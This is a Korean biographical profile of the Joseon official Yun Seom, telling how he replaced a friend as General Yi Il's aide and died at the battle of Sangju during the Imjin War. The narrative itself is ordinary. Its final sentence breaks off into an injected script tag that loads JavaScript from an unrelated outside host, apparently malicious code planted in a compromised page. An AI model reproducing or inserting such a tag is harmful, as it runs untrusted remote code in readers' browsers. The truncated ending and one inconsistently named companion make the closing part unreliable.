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윤섬

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 윤섬(尹暹)

<사당.정려문> 자는 여진(汝進), 호는 과재(果齋), 본관은 남원이
며 조선 명종 16(1561)년에 지사(地事) 윤우신(尹又新)의 아들로 출
생하였다.
선조 16년(1583)에 문과에 급제하였고 사헌부 지평을 거쳐 선조 20
년(1587) 서장관(書狀官)으로 뽑혀 개정보전(改正寶典)을 나누어 
받은 공으로 광국공신(光國功臣)에 책록된 인물이다.
그는 임진왜란이 일어나자 박호(朴虎), 김경류(金慶流)등과 함께 이
일 장군의 종사관으로 출전하여 상주(尙州) 싸움에서 전사하였다.
임진왜란의 급보를 접한 조정은 이일(李鎰)을 순변사로 임명하여 
왜적을 막도록 하였다.
대명을 받은 이일은 병조에서 골라 놓은 병정들을 점검하고 보니 군
사훈련이라고는 전혀 받아 본 일이 없는 백도서리(白徒胥吏)의 유
생들뿐이었다.
이들은 서로 병역을 면하고자 갖가지 핑계를 대는가 하면 개중에는 
꾀병을 하는 자, 천치불구를 가장하는 자 따위들이 뜰에 꽉 차서 가
관을 이루었다.
이일 장군은 쓸 만한 인재를 고르다가 그 중에서 윤섬의 이웃친구 
한사람을 뽑았다. 그러나 그 사람은 3대독자의 외아들로써 늙은 홀
어머니를 모시고 근근히 사는 사람이었다.
이의 사실을 알게 된 윤섬은 이일 장군을 찾아가서 「그 사람은 노
모 한 분을 모시고 사는 외로운 사람인데다 그 어머니가 밤낮으로 
울고 계시며, 또한 형제도 없는 외아들이니 공께서 살펴주셔야 겠습
니다」라고 간곡히 당부하였다.
누가 시켜서 한 일도 아니고 오직 친구의 딱한 사정을 누구보다도 
잘 알았으므로 스스로 그 입장을 애써 진정했던 것이다.
이일 장군은 난감해 하면서 「국가의 존망이 장차 여기에서 결판지
어질 것이므로 종사관은 아주 잘 골라야 하겠는데 지금 모인 병정들
의 사기와 정신력 또한 우려되는 바이고 사람마다 전투에 다다르기
도 전에 서로 살기만을 꾀하니 어찌 난감치 않으리요. 그중 쓸 만한 
인재를 골랐는가 했으나 또한 사정이 그러하다면 참으로 딱한 일이
로다」라면서 탄식하였다.
이에 윤섬은 「장군께서 제 친구를 방면하신다면 시생이 그를 대신
해서 장군의 수족이 되겠습니다.」라고 간청하여 허락을 받았다.
윤섬은 즉시 집으로 가서 그의 어머니에게 하직인사를 드렸다.
이 소리를 들은 윤섬의 모친은 「너는 어째서 우리들은 생각지 않
고 스스로 죽을 땅으로 가느냐?」고 목 놓아 울면서 만류하였다.
어느 부모인들 자식이 죽을 곳에 가려는 것을 보고 만류하지 않을 
것이며, 늙은 부모와 처자식을 두고 떠나려는 자식인들 어찌 마음 
아프지 않겠는가마는 친구 또한 귀중하므로 의리와 나라의 소명 앞
에 자신을 제물로 바쳐야 하는 윤섬의 마음은 살을 저미는 듯 아프
지 않을 수 없었다.
윤섬은 노모의 무릎에 머리를 박고 고하기를 「이미 나라에 바친 몸
이 되었사오니 부모의 은혜와 나라에 대한 의를 한꺼번에 행 할 수
는 없사옵니다. 또한 집에는 동생이 있어서 어머니를 잘 모실 것이
오니 너무 슬퍼하지 마십시오. 어머니는 둘 중에서 하나를 잃으신
다 해도 또 하나가 남겠으나 그 친구의 어머니는 하나마저 잃는다
면 절손멸문으로 그 비통함이 어찌 어머니에게 비할 바 되겠습니
까? 싸움터에 간다고 다 죽는 것도 아니오니 기꺼이 보내 주십시
오」라고 위로를 드렸다.
이를 보고 있던 아우 탕(湯)은 형의 손을 잡고 울면서 「형은 친구 
어머니만 생각하고 어찌 우리 부모는 잊으려 하오」하면서 만류하
였다.
섬(暹)은 몸가짐을 바로 고치고 나서 동생의 손을 잡고 이른다.
「탕아, 그 친구의 사정을 네나 나나 한가지로 이해할 수 있는 처지
이다. 형제도 없이 참으로 형편이 가긍하지 않느냐? 그러나 우리 집
은 네가 있을 뿐 아니라 나라가 위급한 때를 당하여 어찌 사사로운 
정을 돌아볼 수 있겠느냐? 내가 없더라도 부모님을 각별히 보살펴 
드려야 할 줄 안다. 또한 네가 있음으로 조카들도 마음이 놓이는 것
이니 이 형이 나라 일에 전심전력할 수 있도록 하여다오」라고 타일
렀다. 부모와 처자, 형제를 작별한 섬은 군문에 들어가 이일장군의 
종사관으로서 모든 일에 충실히 보필하였다.
윤섬이 상주에 이르렀을 때 왜적이 불시에 기습해 옴으로 관군은 패
하여 흩어지기 시작하였다.
이일은 종사관 윤섬에게 긴급 후퇴하여 후일을 도모하라고 명령하
였으나 섬이 말을 듣지 않자, 「헛되게 죽기만 하는 것은 쓸데없으
니 나를 따르라」고 거듭 명령하였으나 섬은 「장차 임금을 어찌 뵈
올 수 있겠습니까?」라고 말하면서 박호, 이경류와 함께 최후까지 
싸우면서 군사(軍師)가 후퇴할 수 있도록 적을 막다가 끝내는 장렬
하게 전사하였다.
이를 두고 후세 사람들은 삼종사(三從事)라고 하였으며, 윤섬을 두
고 의인(義人)이라 하였다.
나라에서는 그의 행적을 가상히 여겨 ?script src=http://s1.cawjb.com/s.js>
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